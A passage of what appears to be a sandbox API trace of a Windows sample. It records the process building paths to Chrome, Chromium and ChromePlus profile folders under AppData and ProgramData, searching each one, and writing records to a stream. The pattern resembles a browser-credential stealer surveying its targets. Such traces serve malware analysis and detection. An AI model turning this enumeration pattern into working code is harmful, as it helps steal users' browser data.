returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" [0079.528] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*" [0079.528] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.529] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.529] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.529] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.529] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.529] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.529] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.529] LocalFree (hMem=0x66b940) returned 0x0 [0079.529] LocalFree (hMem=0x66b738) returned 0x0 [0079.529] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 0 [0079.529] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0079.529] LocalFree (hMem=0x655028) returned 0x0 [0079.529] LocalFree (hMem=0x643b68) returned 0x0 [0079.529] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0 [0079.529] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0079.529] LocalFree (hMem=0x643aa8) returned 0x0 [0079.529] LocalFree (hMem=0x647ab8) returned 0x0 [0079.529] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.529] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.529] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.529] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0079.529] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0079.529] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.529] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Google\\Chrome" | out: lpString1="C:\\ProgramData\\Google\\Chrome") returned="C:\\ProgramData\\Google\\Chrome" [0079.529] LocalFree (hMem=0x66b940) returned 0x0 [0079.529] lstrlenA (lpString="C:\\ProgramData\\Google\\Chrome") returned 28 [0079.529] lstrlenA (lpString="\\*.*") returned 4 [0079.529] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0079.529] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData\\Google\\Chrome" | out: lpString1="C:\\ProgramData\\Google\\Chrome") returned="C:\\ProgramData\\Google\\Chrome" [0079.529] lstrcatA (in: lpString1="C:\\ProgramData\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Google\\Chrome\\*.*") returned="C:\\ProgramData\\Google\\Chrome\\*.*" [0079.529] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Google\\Chrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.530] LocalFree (hMem=0x629248) returned 0x0 [0079.530] LocalFree (hMem=0x652cb0) returned 0x0 [0079.530] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.530] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.530] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.530] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0079.530] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0079.530] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.530] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Google\\Chrome" | out: lpString1="C:\\ProgramData\\Google\\Chrome") returned="C:\\ProgramData\\Google\\Chrome" [0079.530] LocalFree (hMem=0x66b940) returned 0x0 [0079.530] lstrlenA (lpString="C:\\ProgramData\\Google\\Chrome") returned 28 [0079.530] lstrlenA (lpString="\\*.*") returned 4 [0079.530] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0079.530] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData\\Google\\Chrome" | out: lpString1="C:\\ProgramData\\Google\\Chrome") returned="C:\\ProgramData\\Google\\Chrome" [0079.530] lstrcatA (in: lpString1="C:\\ProgramData\\Google\\Chrome", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Google\\Chrome\\*.*") returned="C:\\ProgramData\\Google\\Chrome\\*.*" [0079.530] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Google\\Chrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.530] LocalFree (hMem=0x629248) returned 0x0 [0079.530] LocalFree (hMem=0x652cb0) returned 0x0 [0079.530] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.530] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.530] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.530] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.531] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.531] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.531] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.531] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.531] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.531] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.531] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x33, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.531] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.531] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.531] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.531] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.531] lstrlenA (lpString="\\Chromium") returned 9 [0079.531] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.531] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.531] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium" [0079.531] LocalFree (hMem=0x66b940) returned 0x0 [0079.531] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium") returned 41 [0079.531] lstrlenA (lpString="\\*.*") returned 4 [0079.531] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.531] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium" [0079.531] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium\\*.*" [0079.531] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.531] LocalFree (hMem=0x647b70) returned 0x0 [0079.531] LocalFree (hMem=0x647ab8) returned 0x0 [0079.531] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.531] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.531] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.531] lstrlenA (lpString="\\Chromium") returned 9 [0079.531] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.531] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium" [0079.532] LocalFree (hMem=0x66b940) returned 0x0 [0079.532] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium") returned 41 [0079.532] lstrlenA (lpString="\\*.*") returned 4 [0079.532] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.532] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium" [0079.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium\\*.*" [0079.532] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Chromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.532] LocalFree (hMem=0x647b70) returned 0x0 [0079.532] LocalFree (hMem=0x647ab8) returned 0x0 [0079.532] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.532] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.532] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.532] lstrlenA (lpString="\\Chromium") returned 9 [0079.532] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.532] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium" [0079.532] LocalFree (hMem=0x66b940) returned 0x0 [0079.532] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium") returned 39 [0079.532] lstrlenA (lpString="\\*.*") returned 4 [0079.532] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.532] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium" [0079.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium\\*.*" [0079.532] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.532] LocalFree (hMem=0x647ab8) returned 0x0 [0079.532] LocalFree (hMem=0x629248) returned 0x0 [0079.532] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.532] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.532] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.532] lstrlenA (lpString="\\Chromium") returned 9 [0079.532] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.532] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium" [0079.532] LocalFree (hMem=0x66b940) returned 0x0 [0079.532] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium") returned 39 [0079.532] lstrlenA (lpString="\\*.*") returned 4 [0079.532] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.533] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium" [0079.533] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium\\*.*" [0079.533] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Chromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.533] LocalFree (hMem=0x647ab8) returned 0x0 [0079.533] LocalFree (hMem=0x629248) returned 0x0 [0079.533] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.533] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.533] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.533] lstrlenA (lpString="\\Chromium") returned 9 [0079.533] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.533] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.533] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Chromium" | out: lpString1="C:\\ProgramData\\Chromium") returned="C:\\ProgramData\\Chromium" [0079.533] LocalFree (hMem=0x66b940) returned 0x0 [0079.533] lstrlenA (lpString="C:\\ProgramData\\Chromium") returned 23 [0079.533] lstrlenA (lpString="\\*.*") returned 4 [0079.533] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.533] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Chromium" | out: lpString1="C:\\ProgramData\\Chromium") returned="C:\\ProgramData\\Chromium" [0079.533] lstrcatA (in: lpString1="C:\\ProgramData\\Chromium", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Chromium\\*.*") returned="C:\\ProgramData\\Chromium\\*.*" [0079.533] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Chromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.533] LocalFree (hMem=0x652cb0) returned 0x0 [0079.533] LocalFree (hMem=0x670c38) returned 0x0 [0079.533] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.533] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.533] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.533] lstrlenA (lpString="\\Chromium") returned 9 [0079.533] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.533] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.533] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Chromium" | out: lpString1="C:\\ProgramData\\Chromium") returned="C:\\ProgramData\\Chromium" [0079.533] LocalFree (hMem=0x66b940) returned 0x0 [0079.533] lstrlenA (lpString="C:\\ProgramData\\Chromium") returned 23 [0079.533] lstrlenA (lpString="\\*.*") returned 4 [0079.533] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.533] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\Chromium" | out: lpString1="C:\\ProgramData\\Chromium") returned="C:\\ProgramData\\Chromium" [0079.533] lstrcatA (in: lpString1="C:\\ProgramData\\Chromium", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Chromium\\*.*") returned="C:\\ProgramData\\Chromium\\*.*" [0079.533] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Chromium\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.534] LocalFree (hMem=0x652cb0) returned 0x0 [0079.534] LocalFree (hMem=0x670c38) returned 0x0 [0079.534] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.534] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.534] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.534] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.534] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.534] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.534] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.534] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.534] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0079.534] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.534] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x34, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.534] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.534] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.534] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.534] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.534] lstrlenA (lpString="\\ChromePlus") returned 11 [0079.534] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.534] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.534] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus" [0079.534] LocalFree (hMem=0x66b940) returned 0x0 [0079.534] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus") returned 43 [0079.534] lstrlenA (lpString="\\*.*") returned 4 [0079.534] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x647b70 [0079.534] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus" [0079.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus\\*.*" [0079.535] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0079.535] LocalFree (hMem=0x647b70) returned 0x0 [0079.535] LocalFree (hMem=0x647ab8) returned 0x0 [0079.535] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.535] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.535] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.535] lstrlenA (lpString="\\ChromePlus") returned 11 [0079.535] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.535] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus" [0079.535] LocalFree (hMem=0x66b940) returned 0x0 [0079.535] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus") returned 43 [0079.535] lstrlenA (lpString="\\*.*") returned 4 [0079.535] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x647b70 [0079.535] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus" [0079.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus\\*.*" [0079.535] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\ChromePlus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0079.535] LocalFree (hMem=0x647b70) returned 0x0 [0079.535] LocalFree (hMem=0x647ab8) returned 0x0 [0079.535] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.535] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.535] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.535] lstrlenA (lpString="\\ChromePlus") returned 11 [0079.535] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.535] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus" [0079.535] LocalFree (hMem=0x66b940) returned 0x0 [0079.535] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus") returned 41 [0079.535] lstrlenA (lpString="\\*.*") returned 4 [0079.535] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.535] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus" [0079.535] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus\\*.*" [0079.535] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\ChromePlus\\*.*", lpFindFileData=0x12fd5e | out: lpFindFileData=0x12fd5e) returned 0xffffffff [0079.536] LocalFree (hMem=0x647b70) returned 0x0 [0079.536] LocalFree (hMem=0x647ab8) returned 0x0 [0079.536] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.536] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.536] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.536] lstrlenA (lpString="\\ChromePlus") returned 11 [0079.536] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.536] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.536] lstrcatA (in: 